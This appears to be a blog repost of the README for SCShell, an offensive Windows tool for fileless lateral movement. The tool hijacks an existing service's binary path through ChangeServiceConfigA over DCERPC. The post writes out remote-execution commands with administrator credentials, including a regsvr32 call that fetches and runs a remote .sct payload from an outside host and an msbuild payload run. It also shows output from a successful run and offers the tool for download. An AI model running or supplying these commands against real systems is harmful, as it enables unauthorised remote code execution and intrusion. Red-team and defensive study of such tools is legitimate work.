SCShell

Kang Asu

SCShell - Fileless Lateral Movement Tool That Relies On ChangeServiceConfigA To Run Command

Fileless lateral movement tool that relies on ChangeServiceConfigA to run command. The beauty of this tool is that it doesn't perform authentication against SMB everything is performed over DCERPC.
The utility can be used remotely WITHOUT registering a service or creating a service. It also doesn't have to drop any file on the remote system* (Depend on the technique used to execute)


How it work
Instead of creating a service it simply remotely open a service and modify the binary path name via the ChangeServiceConfigA API.
Then it starts the service.
Once the execution is completed the service binary path is reverted to the original one. The original service path is extracted using QueryServiceConfigA.
Everything is happening over DCERPC including the authentication.

Usage
The current build is written in C but I will port it to C# and PowerShell.

Usage:
SCShell.exe target service payload username domain password

target can be set to local to run the payload locally
Remote execution

SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" administrator . Password

I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path.
You can also use a msbuild payload

SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj" administrator . Password
SCShell ***
Trying to connect to 192.168.197.131
Username was provided attempting to call LogonUserA
SC_HANDLE Manager 0x009ED250
Opening XblAuthManager
SC_HANDLE Service 0x009ED1B0
Service path was changed to C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj
Service was started.

I'm using the XblAuthManager as the target which is the Xbox Accessory Management Service

Compiling from source
The code was compiled on Windows using GCC Mingw compiler

Credit
Mr.Un1k0d3r RingZer0 Team
Tazz0 for the moral support

Download SCShell

Regards

Kang Asu